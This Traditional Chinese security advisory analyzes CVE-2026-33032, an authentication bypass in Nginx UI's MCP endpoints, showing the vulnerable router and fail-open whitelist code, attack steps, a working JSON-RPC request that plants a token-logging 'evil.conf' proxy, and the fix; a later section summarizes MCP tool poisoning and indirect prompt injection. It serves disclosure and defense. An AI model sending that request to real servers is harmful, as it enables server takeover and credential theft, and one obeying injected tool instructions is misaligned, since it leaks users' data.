摘要

這份報告針對 CVE-2026-33032 提供了深入的技術分析，這是一個存在於 Nginx UI 的 Model Context Protocol (MCP) 整合中的重大驗證繞過漏洞。此漏洞的 CVSS 評分為 9.8，允許未經認證的攻擊者利用兩個 MCP 端點之間中介軟體套用方式的不對稱性，達成對 Nginx 服務的完整接管。我們將剖析有漏洞的程式碼、說明攻擊途徑、討論潛在衝擊，並概述修復策略。此外，我們也將探討 MCP 安全的更廣泛影響，並從 AI 系統中提示注入的相關研究中汲取見解。

你以為 IP 白名單很安全？Nginx UI 的 fail-open 行為讓 MCP 驗證繞過變容易 | 資訊安全新聞

1. 簡介

Nginx UI 是一個受歡迎的 Nginx 伺服器網頁化管理工具，最近被發現存在一個重大的安全漏洞 CVE-2026-33032 [1] 。這個被稱為 MCPwn 的漏洞，其 CVSS 評分為 9.8，顯示其嚴重性。此漏洞源於 Nginx UI 的 Model Context Protocol (MCP) 整合中，套用認證中介軟體時一個細微但嚴重的疏忽。此缺陷允許未經認證的網路攻擊者取得 Nginx 伺服器的完整控制權，進而執行修改設定、攔截流量及中斷服務等操作 [1] 。

由 Anthropic 開發的 Model Context Protocol (MCP) 促進了大型語言模型 (LLMs) 與外部工具及資料來源的整合 [2] 。雖然 MCP 允許 AI 代理執行如資料庫查詢和 API 互動等任務，進而增強其能力，但其靈活性也帶來了顯著的安全風險，特別是在提示注入攻擊方面 [2] 。這份報告不僅將深入探討 CVE-2026-33032 的細節，也將把它放在 MCP 安全的大背景下討論，強調在這種整合系統中，健全的認證與授權機制的重要性。

2. 技術背景：Nginx UI 與 MCP 整合

Nginx UI 提供了一個網頁化的管理介面，用於簡化 Nginx 伺服器的設定與監控任務。它與 Model Context Protocol (MCP) 的整合，讓 AI 代理能夠以程式化的方式與 Nginx 設定進行互動和管理。此整合會公開特定的 HTTP endpoints 用於 MCP 通訊，這些端點預期要透過各種中介軟體函式來加以保護。

2.1 MCP 架構概述

MCP 採用客戶端-伺服器架構運作，使 LLM 能夠透過標準化的 JSON-RPC 通訊與外部工具介接。關鍵元件包括：

  • 主機應用程式 (Host Application): 管理 LLM 與 MCP 客戶端之間的互動 (例如 Claude Desktop, Cursor)。
  • 客戶端 (Client): 作為主機與 MCP 伺服器之間的通訊中介。
  • 伺服器 (Server): 透過結構化的 metadata (包括名稱、參數和描述) 來公開工具 (例如檔案存取、API 呼叫) [2] 。

典型的 MCP 伺服器實作通常會利用像 Python 的 FastMCP 這樣的框架，其中工具是使用裝飾器 (例如 @mcp.tool() ) 來定義，並包含引導 LLM 行為的描述。特別是 description 欄位，已被認為是一個潛在的攻擊向量，因為它容易受到操縱，可能被用來注入惡意邏輯或改變執行流程 [2] 。

3. 漏洞分析：CVE-2026-33032

CVE-2026-33032 源於 Nginx UI 的 MCP 整合中存在一個認證不對稱性。具體來說，有兩個 HTTP endpoints 被公開用於 MCP 通訊： /mcp 和 /mcp_message [1] 。

3.1 認證不對稱性

此漏洞的核心在於套用到這兩個端點的安全中介軟體有所不同。 /mcp 端點同時受到 IP 白名單 ( middleware.IPWhiteList() ) 和認證 ( middleware.AuthRequired() ) 的保護。相比之下，負責處理所有 MCP 工具調用的 /mcp_message 端點，僅套用了 IP 白名單，完全忽略了認證中介軟體 [1] 。

兩個端點都導向到同一個 mcp.ServeHTTP() handler，該 handler 會分派所有 MCP 工具的呼叫。這意味著任何可以透過 /mcp 存取的工具，同樣可以透過 /mcp_message 存取，但後者卻沒有執行必要的認證檢查。

來自 mcp/router.go 的這段有漏洞的程式碼說明了此不對稱性： 

  1. func InitRouter(r *gin.Engine) {
  2.     r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(),
  3.         func(c *gin.Context) {
  4.             mcp.ServeHTTP(c)
  5.         })
  6.     r.Any("/mcp_message", middleware.IPWhiteList(),
  7.         func(c *gin.Context) {
  8.             mcp.ServeHTTP(c)
  9.         })
  10. }

如上所示， /mcp_message 路由缺少了 middleware.AuthRequired() 的呼叫，造成了一個嚴重的繞過漏洞 [1] 。

3.2 預設 IP 白名單行為

IP 白名單機制的預設行為進一步加劇了此漏洞。在 internal/middleware/ip_whitelist.go 中的 IPWhiteList() 中介軟體，如果設定的 IP 白名單為空，則會允許所有請求通過 [1] 。這是一種「失效開放模式 (fail-open)」的設計，意味著在預設狀態下，它不提供任何保護 [1] 。 

  1. func IPWhiteList() gin.HandlerFunc {
  2.     return func(c *gin.Context) {
  3.         clientIP := c.ClientIP()
  4.         if len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == "" || clientIP == "127.0.0.1" || clientIP == "::1" {
  5.             c.Next()
  6.             return
  7.         }
  8.         // ...
  9.     }
  10. }

這段程式碼顯示，如果 settings.AuthSettings.IPWhiteList 是空的 (這是預設值)，中介軟體就會執行 c.Next() ，從而有效地繞過了任何使用 IP 的限制 [1] 。

3.3 可用的 MCP 工具

Nginx UI 公開了一套完整的 MCP 工具，可以透過有漏洞的 /mcp_message endpoint 在未經認證的情況下被呼叫。這些工具提供了對 Nginx 伺服器及其設定的廣泛控制權。關鍵工具包括 [1] ：

  • 來自 mcp/nginx/ ：
    • restart_nginx : 重新啟動 Nginx 行程 (process)。
    • reload_nginx : 重新載入 Nginx 設定。
    • nginx_status : 讀取 Nginx 狀態。
  • 來自 mcp/config/ ：
    • nginx_config_add : 建立新的 Nginx 設定檔案。
    • nginx_config_modify : 修改現有的設定檔案。
    • nginx_config_list : 列出所有設定。
    • nginx_config_get : 讀取設定檔案內容。
    • nginx_config_enable : 啟用/停用網站。
    • nginx_config_rename : 重新命名設定檔案。
    • nginx_config_mkdir : 建立目錄。
    • nginx_config_history : 檢視設定歷史記錄。
    • nginx_config_base_path : 取得 Nginx 設定目錄路徑。

3.4 攻擊情境

能夠網路存取 Nginx UI (通常位於 port 9000) 的攻擊者，可以利用 CVE-2026-33032 來達成對 Nginx 伺服器的完整接管。攻擊通常按以下步驟進行 [1] ：

  1. 攻擊者發送 HTTP 請求到 http://target:9000/mcp_message 。
  2. 由於不需要認證 (因為缺少中介軟體且預設 IP 白名單為空)，攻擊者可以呼叫任何 MCP 工具。
  3. 攻擊者可以使用 nginx_config_modify 或 nginx_config_add 來覆寫主要的 Nginx 設定檔案 (例如 nginx.conf ) 或注入一個新的惡意設定。這可能包括設定一個反向代理(Reverse proxy)來記錄敏感的資料，如 Authorization headers。
  4. nginx_config_add 工具會自動重新載入 Nginx，或者攻擊者可以明確呼叫 reload_nginx 。
  5. 一旦 Nginx 使用惡意設定重新載入後，所有通過它的流量都可能被攻擊者攔截、重新導向或阻斷。

以下是一個用於新增惡意 Nginx 設定檔案的攻擊請求範例 [1] ： 

  1. POST /mcp_message HTTP/1.1
  2. Content-Type: application/json
  4. {
  5.   "jsonrpc": "2.0",
  6.   "method": "tools/call",
  7.   "params": {
  8.     "name": "nginx_config_add",
  9.     "arguments": {
  10.       "name": "evil.conf",
  11.       "content": "server { listen 8443; location / { proxy_pass http://127.0.0.1:9000; access_log /etc/nginx/conf.d/tokens.log; } }",
  12.       "base_dir": "conf.d",
  13.       "overwrite": true,
  14.       "sync_node_ids": []
  15.     }
  16.   },
  17.   "id": 1
  18. }

這個不需要任何 Authorization header 的請求，新增了一個設定檔案 evil.conf ，該檔案在 port 8443 上設定了一個反向代理，並將 Access tokens 記錄到一個檔案中。隨後 Nginx 伺服器重新載入，啟動了惡意設定 [1] 。

4. 影響

CVE-2026-33032 的影響既嚴重又深遠，主要原因是未經認證的攻擊者可以完全控制 Nginx 伺服器 [1] ：

  • 完整的 Nginx 服務接管： 攻擊者可以建立、修改或刪除任何 Nginx 設定檔案，並觸發立即重新載入或重新啟動，從而有效接管網頁伺服器的完整控制權。
  • 流量攔截： 透過覆寫 server blocks，攻擊者可以將所有流量代理到他們控制的端點，從而能夠竊取傳輸中的敏感資料，例如認證、Session tokens 和其他機密資訊。
  • 服務中斷： 注入無效的設定並強制重新載入，可能導致 Nginx 伺服器離線，對所有被代理的應用程式造成拒絕服務。
  • 設定外洩： nginx_config_get 工具允許攻擊者讀取所有現有 Nginx 設定的內容，洩漏有關後端拓撲(Backend topology)、上游伺服器、TLS 憑證路徑和認證 headers 的關鍵資訊。
  • 認證收集： 攻擊者可以注入自定義的 access_log 指令，來擷取存取 Nginx UI 的管理員的 Authorization headers，從而促進權限提升。

5. 修復與緩解措施

CVE-2026-33032 的主要修復方法很直接：確保 /mcp_message endpoint 受到與 /mcp endpoint 相同的認證中介軟體保護。修復方式是在 /mcp_message 路由中加入 middleware.AuthRequired() [1] ： 

  1. r.Any("/mcp_message", middleware.IPWhiteList(), middleware.AuthRequired(),
  2.     func(c *gin.Context) {
  3.         mcp.ServeHTTP(c)
  4.     })

此外，強烈建議將 IP 白名單的預設行為改為「未設定時預設拒絕」，而不是「允許所有」，以防止未來發生類似的繞過問題 [1] 。

6. MCP 安全的更廣泛影響

Nginx UI 中的 CVE-2026-33032 漏洞突顯了 Model Context Protocol (MCP) 整合安全領域中的一個關鍵模式。隨著 AI 系統變得更加自主並與外部工具和資料來源互動，攻擊面也顯著擴大。核心問題通常在於，人們假設新整合的 MCP endpoints 會繼承與現有 Web API 或 WebSocket 連線相同的健全認證和授權機制 [1] 。

針對 MCP 安全性的研究，特別是有關提示注入攻擊的研究，進一步強調了這些挑戰 [2] 。雖然 Nginx UI 漏洞是一個典型的認證繞過問題，但保護 MCP 互動安全的原則，還擴及防止 LLM 行為被惡意操縱。前期文章 [2] 詳細說明了 MCP 的靈活性雖然能實現強大的 AI 代理，但也透過提示注入攻擊帶來了顯著的安全風險。這包括：

  • 透過 Metadata 注入進行工具投毒： Malicious actors 可以將隱藏指令嵌入工具描述中，利用 LLM 無法區分受信任命令與對抗性輸入的弱點。這可能導致敏感資料外洩或未經授權的操作 [2] 。
  • 拉地毯攻擊與跨伺服器陰影效應： 原本無害的 MCP 工具在部署後可能改變其行為，重新導向敏感資料。跨伺服器陰影效應允許惡意伺服器覆蓋合法的工具定義，導致資料外洩或權限提升 [2] 。
  • 透過外部資料進行間接提示注入： 惡意提示可以嵌入外部內容中 (例如電子郵件、文件)。當啟用 MCP 的 LLM 處理此內容時，這些隱藏的提示可能觸發未經授權的工具執行 [2] 。

這些攻擊途徑表明，保護 MCP 整合的安全需要一個多面向的方法，而不僅僅是傳統的認證。這需要嚴格的輸入驗證、執行時期監控、明確的使用者同意來執行工具，以及對 MCP 伺服器實作的供應鏈安全的高度關注 [2] 。Nginx UI 漏洞清楚地提醒我們，MCP 傳輸中的每個端點都必須繼承完整的認證堆疊，並且開發人員必須對將強大的 AI 代理與系統層級功能整合所帶來的安全影響保持警惕。

7. 結論

Nginx UI 中的 CVE-2026-33032 漏洞，其 CVSS 評分高達 9.8，凸顯了在現代網頁化管理工具中實施全面安全措施的至關重要性，尤其是那些與 MCP 等先進協定整合的工具。此缺陷源於一個遺漏的認證中介軟體呼叫，使 Nginx 伺服器暴露於未經認證攻擊者完全接管的風險中。此事件作為一個關鍵的案例研究，說明了在複雜系統中，看似微小的設定疏忽如何導致嚴重的安全漏洞。

除了立即修復，也就是加入遺漏的認證中介軟體之外，此漏洞還凸顯了保護 MCP 生態系統的更廣泛挑戰。MCP 固有的靈活性和強大功能雖然有利於 AI 代理的能力，但也要求同等強健的安全框架，該框架不僅要解決傳統的認證繞過問題，還要應對提示注入等新興威脅。未來 MCP 整合的發展必須優先考慮標準化的安全認證、確定性的工具執行框架，以及對工具定義的持續稽核，以防止惡意操縱。從 CVE-2026-33032 和更廣泛的 MCP 安全研究中汲取的教訓強調，MCP 整合的每個組成部分，特別是那些處理關鍵功能的組件，都必須經過一絲不苟的安全保護，以防止未經授權的存取和控制。

參考文獻

  1. MCP Bug in Nginx: Critical CVSS 9.8 Security Vulnerability
  2. MCP提示注入：AI安全的雙刃劍